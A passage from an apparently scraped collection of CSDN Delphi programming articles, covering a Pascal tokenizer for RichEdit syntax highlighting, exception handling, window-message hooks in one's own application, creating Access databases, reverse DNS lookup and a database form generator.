while Run^ in ['A'..'Z', 'a'..'z', '0'..'9', '_'] do inc(Run);
TokenLen:= Run - TokenPtr;
SetString(aTokenStr, TokenPtr, TokenLen);

if IsKeyWord(aTokenStr) then
begin

if IsDirective(aTokenStr) then aTokenState:= tsDirective
else aTokenState:= tsKeyWord;

end;

end;

'0'..'9':

begin

inc(Run);
aTokenState:= tsNumber;
while Run^ in ['0'..'9', '.', 'e', 'E'] do inc(Run);

end;

'{':

begin

FComment := csBor;
aTokenState := tsComment;
while not ((Run^ = '}') or (Run^ = #0)) do inc(Run);
inc(Run);

end;

'!','"', '%', '&', '('..'/', ':'..'@', '['..'^', '`', '~' :

begin

aTokenState:= tsUnknown;
while Run^ in ['!','"', '%', '&', '('..'/', ':'..'@', '['..'^',
'`', '~'] do
begin

Case Run^ of

'/':
if (Run + 1)^ = '/' then
begin

if (aTokenState = tsUnknown) then
begin

while (Run^ <> #13) and (Run^ <> #0) do inc(Run);
FComment:= csSlashes;
aTokenState := tsComment;
break;

end

else

begin

aTokenState := tsSymbol;
break;

end;

end;

'(':
if (Run + 1)^ = '*' then
begin

if (aTokenState = tsUnknown) then
begin

while (Run^ <> #0) and not ( (Run^ = ')') and ((Run - 1)^ = '*') ) do inc(Run);

FComment:= csAnsi;
aTokenState := tsComment;

inc(Run);
break;

end

else

begin

aTokenState := tsSymbol;
break;

end;

end;

end;

aTokenState := tsSymbol; inc(Run);

end;

if aTokenState = tsUnknown then aTokenState := tsSymbol;

end;

#39:

begin

aTokenState:= tsString;
FComment:= csNo;

repeat

Case Run^ of
         #0, #10, #13: raise exception.Create('Invalid string');
end;

inc(Run);

until Run^ = #39;

inc(Run);

end;

'#':

begin

aTokenState:= tsString;
while Run^ in ['#', '0'..'9'] do inc(Run);

end;

'$':

begin

FTokenState:= tsNumber;
while Run^ in ['$','0'..'9', 'A'..'F', 'a'..'f'] do inc(Run);

end;

else

if Run^ <> #0 then inc(Run);

    end;

    TokenLen := Run - TokenPtr;
    SetString(aTokenStr, TokenPtr, TokenLen);
    Result := Run

end; { ConvertReadStream }


CSDN_文档中心_讲述如何开发一个控件,很有价值(五)

To start with I used the Edit1 Control to display the results of all these variables. I then tried manipulating text in the RichEdit to see what values I got. You should do the same. Type slowly in:

1234567890<CR>1234567890<CR>1234567890

and see how the results are reflected in the Edit control as you do so. Then experiment - try adding stuff to the ends of lines, and in the beginning of the line, and middle of lines. You may have to refer back to the Code to work out which number represents which variable.

Okay, now using the variables we have, lets try selecting the text of the current line, and display it in a new Edit Control (Edit2).

Add the following code to see what happens (don’t forget to add the second edit control and make it as wide as possible):

  MyRe.SelStart    := BeginSelStart;
  MyRe.SelLength   := EndSelStart - BeginSelStart;
  Edit2.Text       := MyRe.SelText;
end;

Run the program and try it out.

OOPS - That doesn't work - the text remains selected and the original cursor position is lost.
We need to reset SelStart and SelLength before we finish in the [OnChange] event. So let’s add at the end:

  MyRe.SelStart    := WasSelStart;      //back to were we started
  MyRe.SelLength   := 0;                  // nothing selected
end;

While playing with text in the edit control I discovered something weird.

If you typed [1] then <CR> then [2] the Edit1 displayed [4-1-3-4].

But there were only two characters in the display.

I made a mistake. It appears that RichEdit.Text can tell you where the beginning and end of line is. Why? Because you can access the <CR><LF> characters in the Text string. So we could have manipulated the Text property of the control to work out the beginning and end of lines by reading back and forward from SelStart to find <CR><LF> characters. We may not have known which line we were on, but we would know where it began and ended. Nevertheless we should keep this in mind, it might come in handy later.

But it doesn't matter - the EM_###### messages are a neat way of doing things. And they work. For the moment at least we'll stick with them.

7. Okay implement: Part 2 - Change the format

After the line Edit2.Text := MyRe.SelText, but before the "resetting" part, lets put some logic in to turn lines RED when they are longer than a certain length:

if (MyRe.SelLength > 10) then MyRe.SelAttributes.Color := clRed;

You'll notice two things if you test this out. First - it does work. Second however, is that if you type a line > 10 characters, press return and type one character - its in Red. This is because it inherits the Attributes of the preceding text. Just like if you have bold on in a Word processor, it doesn't reset if you press return. So lets change the line to include an else situation:

else MyRe.SelAttributes.Color := clBlack;

That seems to work - except when you press return in the middle of a > 10 character line you have already typed (which is already Red) to leave a stump < 10 characters on the line above - it remains red. This is because the code leaves you on the next line, and SelStart refers to this new line, not the previous one. In our eventual code, we'll have to take care to ensure this doesn't happen - we have to catch this situation and deal with it. It wont be the only situation I'm sure....

PS: There will be a number of situation we're we'll have to be careful. Can you think of any now? Try putting a lot of text in the Control (or manipulate a loaded file) and selecting some and using the inherit Drag and Drop (move your Mouse over some selected text, press and hold down the Left MouseButton and then drag away) to move some text. This only Triggers one OnChange Event. We may also be moving multiple lines along the way. In the future we'll have to put in some code to detect this happening, and ensure the [OnChange] event can deal with the need to reformat in two different locations. That means thinking in the back of the head about how in the future we may have to deal with this kind of situation, and ensure our code to deal with the simple situation can be adapted - i.e. be "versatile".

8. Basically it all seems to kind-of work.. can't we do some real programming now?

Okay, okay. But first we have a problem. Actually a rather big problem. The problem is PasCon. Why?

First: It returns RTF code.
Problem: We can't use RTF code.

Second: its designed to work an entire stream, and then give it back to us again as a whole.
Problem: We actually want greater control over it than this "all or nothing" approach.

OOP to the Rescue

When you have something that works in a situation, and needs to be applied in another situation were it has to do a similar, but subtly different job - you have two choices:

  1. copy the function, and re-write it for the new situation, or
  2. kludge around it (e.g use Pas2Rtf, and then write a RtfCodes2RtfControl procedure).

Modern languages however give you an option: OOP it. "Objectify" it. This is more than just deriving something from an existing object. It is in a sense programming in a "state of mind". Controls should be created so they can be used in a variety of situations - father than situation specific. In this case all PasCon can deal with is tokenising the input stream and returning code RTF text. What we really need to do is divide it into two entitites. We need to separate the [Parsing/Recognise the Token and TokenType] from the [Encode it in RTF codes].

So lets start with ConvertReadStream, editing it so it looks something like this:

function TPasConversion.ConvertReadStream: Integer;
begin

    FOutBuffSize := size+3;
    ReAllocMem(FOutBuff, FOutBuffSize);
    FTokenState := tsUnknown;
    FComment    := csNo;
    FBuffPos    := 0;
    FReadBuff   := Memory;

    {Write leading RTF}

    WriteToBuffer('{\rtf1\ansi\deff0\deftab720');
    WriteFontTable;
    WriteColorTable;
   WriteToBuffer('\deflang1033\pard\plain\f2\fs20 ');

    Result:= Read(FReadBuff^, Size);

    if Result > 0 then
    begin

        FReadBuff[Result] := #0;
        Run := FReadBuff;

        while Run^ <> #0 do
        begin

         Run := GetToken(Run,FTokenState,TokenStr);
         ScanForRTF;
         SetRTF;
         WriteToBuffer(PreFix + TokenStr + PostFix);

        end;

        {Write ending RTF}

        WriteToBuffer(#13+#10+'\par }{'+#13+#10);

    end;

    Clear;

    SetPointer(FOutBuff, fBuffPos-1) ;

end; { ConvertReadStream }

The code for ConvertReadStream is now much smaller, and also easier to understand. We can then take all the code that used to be in ConvertReadStream that did the tokenizing and create a new subroutine - the GetToken function that just does the recognizing and labelling of the individual tokens. In the process we also loose a huge number of repeated lines of code, as well as a number of sub-routines such as HandleBorCom and HandleString.

//
// My Get Token routine
//

function TPasConversion.GetToken(Run: PChar; var aTokenState: TTokenState;
var aTokenStr: string):PChar;
begin

    aTokenState := tsUnknown;
    aTokenStr := '';
    TokenPtr := Run;         // Mark were we started

    Case Run^ of

#13:

begin

aTokenState := tsCRLF;
inc(Run, 2);

end;

#1..#9, #11, #12, #14..#32:

begin

while Run^ in [#1..#9, #11, #12, #14..#32] do inc(Run);
aTokenState:= tsSpace;

end;

'A'..'Z', 'a'..'z', '_':

begin

aTokenState:= tsIdentifier;
inc(Run);
while Run^ in ['A'..'Z', 'a'..'z', '0'..'9', '_'] do inc(Run);
TokenLen:= Run - TokenPtr;
SetString(aTokenStr, TokenPtr, TokenLen);

if IsKeyWord(aTokenStr) then
begin

if IsDirective(aTokenStr) then aTokenState:= tsDirective
else aTokenState:= tsKeyWord;

end;

end;

'0'..'9':

begin

inc(Run);
aTokenState:= tsNumber;
while Run^ in ['0'..'9', '.', 'e', 'E'] do inc(Run);

end;

'{':

begin

FComment := csBor;
aTokenState := tsComment;
while not ((Run^ = '}') or (Run^ = #0)) do inc(Run);
inc(Run);

end;

'!','"', '%', '&', '('..'/', ':'..'@', '['..'^', '`', '~' :

begin

aTokenState:= tsUnknown;
while Run^ in ['!','"', '%', '&', '('..'/', ':'..'@', '['..'^',
'`', '~'] do
begin

Case Run^ of

'/':
if (Run + 1)^ = '/' then
begin

if (aTokenState = tsUnknown) then
begin

while (Run^ <> #13) and (Run^ <> #0) do inc(Run);
FComment:= csSlashes;
aTokenState := tsComment;
break;

end

else

begin

aTokenState := tsSymbol;
break;

end;

end;

'(':
if (Run + 1)^ = '*' then
begin

if (aTokenState = tsUnknown) then
begin

while (Run^ <> #0) and not ( (Run^ = ')') and ((Run - 1)^ = '*') ) do inc(Run);

FComment:= csAnsi;
aTokenState := tsComment;

inc(Run);
break;

end

else

begin

aTokenState := tsSymbol;
break;

end;

end;

end;

aTokenState := tsSymbol; inc(Run);

end;

if aTokenState = tsUnknown then aTokenState := tsSymbol;

end;

#39:

begin

aTokenState:= tsString;
FComment:= csNo;

repeat

Case Run^ of
         #0, #10, #13: raise exception.Create('Invalid string');
end;

inc(Run);

until Run^ = #39;

inc(Run);

end;

'#':

begin

aTokenState:= tsString;
while Run^ in ['#', '0'..'9'] do inc(Run);

end;

'$':

begin

FTokenState:= tsNumber;
while Run^ in ['$','0'..'9', 'A'..'F', 'a'..'f'] do inc(Run);

end;

else

if Run^ <> #0 then inc(Run);

    end;

    TokenLen := Run - TokenPtr;
    SetString(aTokenStr, TokenPtr, TokenLen);
    Result := Run

end; { ConvertReadStream }


CSDN_文档中心_讲述如何开发一个控件,很有价值

The Unofficial Newsletter of Delphi Users

by Robert Vivrette

Automatic Syntax Highlighting Using a RichEdit Control (Updated with fixes)

Part 1 of "A Tale of Two RichEdits"

by Jon Hogan-Doran - jonhd@hotmail.com

Introduction

As a new programmer to Delphi, with a history in C, C++, Unix shells and a little Awk and Perl, I came to it with a particular goal in mind. I wanted to implement an Editor for a Australian-4GL Databse language called cl4. Having little to no experience in Windows programming, except some dalliance in Powerbuilder and SQLExpress, it seemed a pretty imposing goal.

One is often taught when learning a new language to read a few books, tryout the samples and then start some simple coding. Unfortunately I'm a bit of a sado-masochist, and love to jump in with all 10 fingers (and 10 toes) and try to implement the most difficult parts first, and all at once. Being able to print "Hello World" never caught my interest.

I guess I had a bad upbringing. I started programming by jumping into a language called "C" on SCO Xenix in 1986 with no programming experience at all. Just a book by two guys called Kerningham and Ritchie and some C code that wouldn't compile (it was BSD Unix based from memory). When I managed to get it to compile after 2 weeks, I decided to port the BinkleyTerm FidoNet mailer to Unix, while concurrently getting all the associated programs ported from Dos as well (the Fido mailer, Newsgroup controller, a entire BBS Program). I think I had 5 different DOS->UNIX programs compiling on 5 different virtual consoles all at once.

12 Months later and my [DosLib] and [FossilDriver] were done, BinkleyTerm was getting me my first newsgroups (comp.os.xenix.???) from a local friendly Sysop, and I was chewing up $1,000 in overseas phone bills organising a world-wide group of programmers to try out my handiwork.

So with Delphi I started on my next big challenge. I didn't want just any old editor for my old 4GL Unix database language. I wanted it all:

  1. code-highlighting
  2. on the spot syntax highlighting
  3. code completion and suggesting
  4. remote compile capabilities to my Linux box
  5. jump to line with error
  6. even a remote visual debugger

plus lots more goodies.

This is my adventure. Its a story not a traditional tutorial - the codes there if your not interested in reading my little tale. But if you are: sit back with a packet of chips and plenty of caffeine. And enjoy....

The Plan

No-one wants to re-invent the wheel. The whole point of OOP (Object oriented programming) is the reusability of objects. The whole point of the Internet was the reusability of someone else's object. Luckily I had read enough about these component "things" to want to find some more. So I connected up to the Internet and went "shopping".

My shopping list:

  1. Internet controls (telnet, remote shell, remote execute, ftp)
  2. Editor with multi-file capabilities
  3. Syntax highlighter or Parser
  4. Automatic Syntax highlighting

I shopped at:

  • Delphi Super Page
  • Torri's page
  • Borland
  • RxLib's
  • RzLib's
  • QuickReport Homepage

Within 4 hour I was off the net with a number of goodies, 23 or so assorted controls, programs and Internet suites, (and plenty of stuff that had nothing to do with the current project, but I thought might be of use on my next one). Eventually I whittled the choices down to:

YourPasEdit | by D C AL CODA, Ken Hale and Coda Hale
PasToRTF | by Martin Waldenburg (included in above)
TntClient | by Francois Piette (and associated ICS suite)
RxTools | by those great Russian dudes.

YourPasEdit was a great find, and its description said it all:

There are three main features in YourPasEdit. First is the PAS to RTF conversion unit, contained in mwPasToRtf.pas, by Martin Waldenburg. The second shows how to create TabSheets at run time, with a RichEdit. The third are the procedures written by Andrius Adamonis, which allow YourPasEdit to be associated with files and to open those files in the running instance of YourPasEdit, creating a new TabSheet and RichEdit for the newly opened file.

Unfortunately it also told me:

It is not intended to be a full Delphi file editor, because it does not highlight keywords on the fly, like a syntax aware editor.

But I wasn't complaining - I needed some challenge - otherwise it wouldn't be any fun! So I delved into how things were being done in YourPasEdit. To get the best from the following sections you should get your hands on at least YourPasEdit so you can follow and (more importantly) program along.

Syntax highlight (YourPasEdit)

In YourPasEdit, syntax highlighting was done by parsing the plain text file, dividing each line of text into separate "Tokens", working out what TokenType each token was, and formatting them based on preset Font and Color settings. The following tokens were supported, corresponding to the Token types in the Delphi 3.0 Editor: TTokenState = (tsAssembler, tsComment, tsCRLF, tsDirective, tsIdentifier, tsKeyWord, tsNumber, tsSpace, tsString, tsSymbol, tsUnknown);

How these tokens were formatted (that is with what Color and Attributes) was determined by using the Delphi 3.0 Editors own settings as they are stored in the Windows Registry. Basically a line of Pascal source such as:

procedure TForm1.FormCreate(Sender: TObject); { Create the Form }


CSDN_文档中心_截获Delphi中的异常

    所谓异常，就是指在程序运行过程中，由于程序本身的问题或是用户的不当操做而造成的暂
停程序执行和出现错误结果的情况。用Delphi编写过程序的人对异常肯定不会陌生。异常的来源
是多方面的，引用空指针、赋值越界、被零除等都可以引发一个异常。如果对异常事件不进行适
当的处理，很可能导致整个程序的崩溃。好在Delphi对可能出现的几乎所有的异常都能自动进行
处理。

    一、Delphi自动处理异常的简单例子

    1.在Delphi(3.0)集成环境下，选Tools | Environment Options菜单 ，在出现的Environment
Options窗口中的Preferences页上有一个Break on exception选项（在左下部）。该选项在缺省
状态下是被选中的，这样在Delphi集成环境下运行程序若发生了异常，程序将自动被打断而返回
Delphi调试状态，光标停留在出现异常的代码上，以便编程人员修改。现在单击该选项使其不被
选中，然后确定。

    2.新建一个工程，存为Excep.dpr（后面还有用），相应的单元存为Excpunit.pas；在Form1
中放入一个TmaskEdit构件，将其EditMask属性设定为Date，再放入一个Tbutton构件，双击之，
编写其OnClick事件如下：

    procedure TForm1.BitBtn1Click(Sender: TObject);

    var k:integer;

    begin

    k:=0;

    k:=9 div k;{这里将产生一个被0除的异常}

    end;

    3.存盘并运行程序，在MaskEdit1中随便写入一两个数字，回车，这时会产生（也称为唤起）
一个异常，弹出如下窗口：

     这是由于在MaskEdit框中输入的数据不完整而产生了异常，Delphi自动进行了处理，单击
“确定”后程序继续执行。单击Button1按钮，又会出现另一个类似窗口，因为这里出现了一个被
零除的异常。

    二、Delphi对异常情况的提示是英文的，对中国人不太习惯，我们可以截获这些异常，实现用
中文提示。具体做法如下：

    1.修改Button1的OnClick事件如下：

    procedure TForm1.BitBtn1Click(Sender: TObject);

    var k:integer;

    begin

     k:=0;

     try

     k:=9 div k;

     except

     showmessage(′除数不能为零′);

     end;

    end;

    2.存盘并运行程序，单击Button1后出现的提示框将被中文的“除数不能为零”代替。利用
try......except......end语句是处理异常的一种常用方法，在保留字try后面的语句执行如果
出现异常，就执行保留字except与end间的语句，否则执行end后面的语句，从而代替了Delphi对
异常的缺省处理。与之类似的另一个语句是try......finally......end，与try......except..
....end不同的是，不管try后的语句会不会产生异常，finally后面的语句是一定会被执行的。

    但是，对于像TmaskEdit框产生的这类异常，用try语句就显得无能为力了，因为我们找不到
写try语句的地方。我们只能用另一种方法来解决。

    三、Delphi中的每一个项目都有一个Tapplication对象，这是一个不可见的对象。我们可以
通过修改它的OnException事件，来实现对特殊异常的控制，具体做法如下：

    1在Form1的类中声明一个过程Myexception，该过程与Tapplication的OnException事件有
相同的参数：

    public

    { Public declarations }

    procedure MyException(Sender:TObject;E:Exception);

    2.编写该过程代码：

    procedure TForm1.MyException(Sender:TObject;E:Exception);

    begin

    if E is EDBEditError then showmessage(′输入不符合规则′)

    else

    Application.ShowException(E); {调用缺省的异常处理}

    end;

    3.在Form1的OnCreate事件中为Tapplication的OnException事件赋值：

    procedure TForm1.FormCreate(Sender: TObject);

    begin

    Application.OnException :=MyException;

    end;

    4．存盘并运行程序，在MaskEdit框中随便输入一两个数字，回车，一个中文的提示框将取
代原来的英文提示框。

    四、这里提醒大家注意三点：

    1.Delphi把所有的异常归纳为一个类，即异常类（Exception），每一个特定的异常被视为
一个特例，在c:\program files\borland\Delphi 3\source\rtl\sys\目录下的sysutils.pas中
有关于Exception类的定义。

    2.Tapplication对象提供了一个过程HandleException来处理在程序中被唤起而未被处理的
异常事件，当我们为Tapplication的OnException事件赋值后，HandleException就会调用新的
过程来代替缺省的出错信息显示。我们可以在自己的过程中自由地安排显示的内容，以达到汉
化的效果。

    3.我们通过IF判断语句来获取指定的异常，用一个简单的办法可以得到指定异常的名称。
回到文章开头的那个例子，这里我们把Break on exception选项选中，再次运行程序，输入
不当的数字使MaskEdit1产生异常，这时将出现下面的窗口：

    窗口中第二排的EDBEditError就是该异常的名称，本文程序中的代码：

    if E is EDBEditError then showmessage(′输入不符合规定′)

    就是根据这个名称写的。当不知道异常的确切名称时，就可以从这里获得信息。在用这种
方法处理异常事件时，一定要小心，应为你已经取代了Delphi的缺省的异常处理，如果处理不
当可能会使系统崩溃。

    以上程序在Windows 95 Delphi 3.0下运行通过。


CSDN_文档中心_截获与管理Windows的消息

截获与管理Windows的消息

摘　要：如何用一个程序截获管理Windows的消息
关键字：Windows 消息 监听 列表
类　别：系统控制
有时候我们为了多项应用而要管理Windows的消息。我们怎样才能做到呢？

{ 这个例子定义的程序可以收取所有发往主窗口的消息 }

Unit TesteandoEsta;

Interface

Uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Menus;

Type
TForm1 = Class (TForm)
Private {Private declarations}
Public {Public declarations}
Procedure WinMsg (Var Msg : TMsg; Var Handled : Boolean);

End;

Var
Form1 : TForm1;

Implementation

{$R *.DFM}

{ 所有发送到主窗体的消息，保存在变量Msg中。 }

Procedure TForm1.WinMsg (Var Msg : TMsg; Var Handled : Boolean);

Begin
If Msg.Message = WM_SYSCOMMAND Then Beep;
{ 接收到消息时的通知}

End;

Procedure TForm1.FormCreate (Sender : TObject);

Begin
Application.OnMessage := WinMsg;
{ 替换消息句炳}

End;


CSDN_文档中心_解决了几乎所有Delphi+Access同仁的问题—动态创建、压缩Access数据库(*.MDB)

动态创建、压缩Access数据库(*.MDB)

声明：这是前无古人，后无来者的解决方案(有点吹，但是我实在太激动了！)，希望各位能多多关照
创建Access数据库几乎是所有Delphi+Access所遇到的难题，我经过两头(昨天上午到现在)的艰苦奋战，终于将它全部解开，现在一一奉献给大家：

一、通过OLE方式创建
相信各位都用通过OLE方式访问Word、Excel文件的经历，具体我不说太多，直接把具体代码写出来就完了
在引用部分加入：
uses ComObj;
实现部分：
procedure TFormOffice.BitBtn1Click(Sender: TObject);
var
CreateAccess:OleVariant;
begin
CreateAccess:=CreateOleObject('ADOX.Catalog');
CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\Aceco.mdb');
end;

说明：
1、在C:\下创建Aceco.mdb；
2、是Access2000格式，用Access97打不开；
3、系统需安装MDAC，这是好消息，客户不需安装Access也可以

二、通过DBEngine创建
这才是关键中的关键，是我一定要写出来的原因！
各位是否还记得安装Delphi的时候，如果你选择自定义安装(我一般用Delphi写控件，所以当然是越小越好)，会有很多安装选项，让你选择Access97或Access2000，还有MDAC等，问题就在这里！Delphi5.0中早就封装了现成的类，只是大家都没有注意而已它位于：
$Delphi5\Imports
目录下！
其中有DAO97.DCU文件，它是通过DAO350.DLL来完成的，其中的定义部分和DAO350.DLL如出一辙！OK，到现在，所有的一切都明白了(可惜我花了一天时间！)。那么具体实现起来就太方便了，具体过程如下：
在引用部分加入：
uses DAO97;
实现部分：
procedure TFormOffice.BitBtn4Click(Sender: TObject);
var
Engine:DBEngine;
begin
Engine:=CoDBEngine.Create;
Engine.CreateDatabase('c:\NewAccess.mdb',';LANGID=0x0804;CP=936;COUNTRY=0;',dbEncrypt);
end;

说明：
1、在C:\下创建NewAccess.mdb；
2、语言国家是简体中文；
3、压缩整理数据库用Engine.CompactDatabase('c:\invoice.mdb','c:\God.mdb','',0,'');就是将c:\invoice.mdb压缩整理成c:\God.mdb，剩下的只是将c:\invoice.mdb删除(DeleteFile('c:\invoice.mdb');)，然后将c:\God.mdb重新命名(RenameFile('c:\God.mdb','c:\invoice.mdb');)即可。

三、通过Access97创建，然后拷贝
四、通过ODBC的API函数创建

补充：
1、通过OLE方式创建时如果是Access97，那么可能是CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.3.5.1;Data Source=c:\Aceco.mdb');，嘿嘿，小弟对VB实在是一窍不通，还望各位再测试一下(可以需要MDAC比较低的版本)。
2、关于CreateDatabase中国家的设置：
Module LanguageConstants; // DAO predefined constants.
dbLangArabic = ;LANGID=0x0401;CP=1256;COUNTRY=0;
dbLangCzech = ;LANGID=0x0405;CP=1250;COUNTRY=0;
dbLangDutch = ;LANGID=0x0413;CP=1252;COUNTRY=0;
dbLangGeneral = ;LANGID=0x0409;CP=1252;COUNTRY=0;
dbLangGreek = ;LANGID=0x0408;CP=1253;COUNTRY=0;
dbLangHebrew = ;LANGID=0x040D;CP=1255;COUNTRY=0;
dbLangHungarian = ;LANGID=0x040E;CP=1250;COUNTRY=0;
dbLangIcelandic = ;LANGID=0x040F;CP=1252;COUNTRY=0;
dbLangNordic = ;LANGID=0x041D;CP=1252;COUNTRY=0;
dbLangNorwDan = ;LANGID=0x0414;CP=1252;COUNTRY=0;
dbLangPolish = ;LANGID=0x0415;CP=1250;COUNTRY=0;
dbLangCyrillic = ;LANGID=0x0419;CP=1251;COUNTRY=0;
dbLangSpanish = ;LANGID=0x040A;CP=1252;COUNTRY=0;
dbLangSwedFin = ;LANGID=0x040B;CP=1252;COUNTRY=0;
dbLangTurkish = ;LANGID=0x041F;CP=1254;COUNTRY=0;
dbLangJapanese = ;LANGID=0x0411;CP=932;COUNTRY=0;
dbLangChineseSimplified = ;LANGID=0x0804;CP=936;COUNTRY=0;
dbLangChineseTraditional = ;LANGID=0x0404;CP=950;COUNTRY=0;
dbLangKorean = ;LANGID=0x0412;CP=949;COUNTRY=0;
dbLangThai = ;LANGID=0x041E;CP=874;COUNTRY=0;
dbLangSlovenian = ;LANGID=0x0424;CP=1250;COUNTRY=0;

3、关于CreateDatabase中数据库版本信息
Enum DatabaseTypeEnum;
dbVersion10 = 1;
dbEncrypt = 2;
dbDecrypt = 4;
dbVersion11 = 8;
dbVersion20 = 16;
dbVersion30 = 32;

4、其它方面，希望各位再加补充。

StarFarm-->Hank(starfarm@263.net)
2000/12/29


CSDN_文档中心_解析IP地址为主机域名

解析IP地址为主机域名。

使用 WinSock 单元；
过程如下：
function IPAddrToName(IPAddr : String): String;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt<>nil then
begin
result:=StrPas(Hostent^.h_name)
end
else
begin
result:='';
end;
end;

测试时请在在线状态。

测试代码：
var
Name: string;
begin
Name := InputBox('输入对方主机IP', '主机IP地址：', '');
showmessage(IpAddrToName(Name));

end;


CSDN_文档中心_解析IP地址为主机域名。

解析IP地址为主机域名。

使用 WinSock 单元；
过程如下：
function IPAddrToName(IPAddr : String): String;
var
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
WSAData: TWSAData;
begin
WSAStartup($101, WSAData);
SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr, 4, AF_INET);
if HostEnt<>nil then
begin
result:=StrPas(Hostent^.h_name)
end
else
begin
result:='';
end;
end;

测试时请在在线状态。

测试代码：
var
Name: string;
begin
Name := InputBox('输入对方主机IP', '主机IP地址：', '');
showmessage(IpAddrToName(Name));

end;
作者：Latfi Baran


CSDN_文档中心_界面(FORM)自动生成工具

界面自动生成工具

主题：本文介绍了一个直接根据数据库表结构定义自动生成对该表记录进行存取操作界面（FORM）的工具

1. 界面自动生成的必要性

一般在数据库应用程序，特别是MIS软件开发时，都会选择使用开发工具，如PB、C++BUILDER，DELPHI，UNIFACE等等。这些工具为数据库应用程序的开发提供了强大的支持和帮助，使大部分开发工作转化成一种简单的，机械重复劳动。对一个新手，只要拖拉一些控件，在短短1-2个小时就可开发出一个可对数据库进行操作的漂亮界面，这对一个新手的工作是一个极大的鼓励。但我与一些从事数据库应用程序开发时间较长的朋友交谈时，他们几乎全部都抱怨做数据库应用程序开发太没有意思，没有创新，作长了感觉很烦。有个朋友也做了个小工具来减少重复劳动，效果还不错。因此本人就决定开发了界面自动生成工具。开发的第一个工具是以ORACLE和C++BUILDER 为基础的，用于一个大型MIS项目开发，效果很好，大大地减少开发工作量，降低了开发成本，特别是为维护工作带来了很大方便。在那个开发项目中，当第一个开发负责人因故要离开该项目时，软件交接很容易。这是因为自动生成的程序很整齐，很规范，严格遵守命名规则，因此程序的可读性很好，数据库中的表名与界面名和源文件名直接对应，找源文件就很方便。 在第一个工具成功的鼓励下，本人开发了实用性更强的第二个工具，是基于DELPHI的，可选择ORACLE 或SQL-SERVER数据库管理系统，及BDE或ADO连接方式。这里主要介绍第二个工具的一些设计思路。

2. 工具设计的主要思路

由于界面的一个重要功能是对数据库中表内的数据进行存取，界面与表之间有着直接关联，因此这里采用为每个数据库表生成一套界面的思路。由于每个表的数据项多少不同，界面的空间有限，这里根据每个表内数据项所占用的空间不同生成三种界面：

A 对数据项占用空间较小的情况，在界面的上半部安排一个记录列表（DBGRID），

下半部安排编辑面板（安排LABEL和各种编辑框）。如图1

图1

B对数据项占用空间中等的情况，把记录列表和编辑面板分别安排在两个界面

上。通过记录列表上的编辑按钮，调用编辑面板界面。如图2

图2

其中相片为图形文件，挡案按钮自动调用WORD，且把该WORD文件保存到数据库中去。

C对数据项占用空间较大的情况，生成类似与B的界面，只是在编辑界面上有

多页切换功能。

作为工具设计者来说，总希望生成的界面具有尽可能多的功能。但是靠计算机自动生成的只能是一些常规的，公共通用功能。对一些业务规则要求的非常规功能要自动生成难度很大，这还得靠人工来编程。对一些通用常规功能是否能自动生成，这还取决于该功能的语法定义是否简洁直观，及生成器开发难度。我们在生成器开发前，先开发尽可能多的通用控件。我们开发的通用控件有：通用打印控件，通用查询控件及时间编辑框。在对时间编辑框内数据进行编辑时，程序会自动弹出日历窗口。对DBGRID的功能进行扩展，可对DBGRID中的每一列进行排序，求最大值，最小值，平均值及求和。对界面生成时可供开发者选择的功能如下。

1）可选择该界面所对应的数据集使用TTABLE还是使用TQUERY。当使用后者时，给出查询条件。

2）一个数据项是否允许为空。本来数据库本身会做这个检查，但为提高效率，我们把这个检查放到前端来做。

3）该数据项在界面上是否可见。

4）该数据项是否是只读，或在插入时可给出数据，但不允许修改。

5）该数据项是否代表货币。

6）给出该数据项的检查范围（LIMIT）。

7）给出该数据项在读写时的MARSK。

8）定义该数据项是否存储图形文件，用户编辑该数据项时，当该数据项为空时会自动弹出文件目录窗口，供用户选择加载图形文件。当该数据项有内容时，会调用该图形文件的处理软件。

9）定义该数据项是否存储WORD文件。当用户编辑这个数据项时程序会自动弹出WORD窗口。

10） 可定义一个数据项为LIST框，且给出LIST内容。

11） 定义一些数据项，当这些数据项的内容都不为空时，它们所对应的记录将不允许修改和删除。（对应批准后的记录不能修改和删除的情况）。

在界面上除了提供常规的新增、修改和删除（确认，取消）外，还提供两个功能：在插入时可选择复制当前记录的数据。当用户调用其他操作，引起数据集刷新的情况时，光标会自动定位到原来位置。

对LOOK UP 框，从生成器实现来说，难度不大，但因要求的参数太多，开发者容易填错，这里就没有提供，让开发者手工来实现。在数据库应用程序开发中会大量使用的主从表结构，因语法定义有困难，这里就没有提供这种界面的自动生成。对一个主表对应多个从表的情况，有的开发者把一个界面的上半部分安排给主表，下半部分重叠多个子表，用按钮来切换子表，这样使用起来很方便。对这样的情况，开发者可在已生成界面的基础上，手工实现这样的界面安排，起码可减少工作量。可自动生成的通用功能可能还有不少，欢迎读者给我们提出新的建议。

3. 使用工具后的开发重点转移

目前我们使用的建模工具为ER-WIN。我们把数据项的物理含义说明放到逻辑模型的COMMENT中，把生成所需的选择放到物理模型的COMMENT中，预先为REPORT准备好一个模板。这样利用ER-WIN的REPORT功能，就可把生成器所需要的数据，通过ER-WIN的REPORT功能，按规定格式写入到一个TXT文件中去。生成器读这个TXT文件就可自动生成该文件中要求的全部界面。在C++BUILDER中生成器生成全部界面的 H 文件，PCC文件，DFM文件及作为主程序的PCC文件。在DELPHI中生成全部 PAS文件，DFM文件及作为主程序的DPR文件。在界面自动生成的基础上，开发者要做三件工作：

1） 根据业务处理流程，组织界面调用次序。这样生成的界面把数据库表定义，表操作和界面结合在一起对象性很强，很容易实现业务流程重构的要求。

2） 对表上一些生成器不能提供的操作，开发者手工去做。如安排新的按钮，编写事件程序，在已生成的程序中增加或删除部分代码，调用存储过程等。在实际工作中，当对已生成的代码作增删处理时，我们规定在修改处的两头必须用规定格式的注释行做出标记。这样当一个表中定义的数据项要增删改的修改时，在界面重新生成后，很容易把修改部分人工合到新界面程序中去。将来也可开发工具把修改部分自动合到新生成的界面中去。

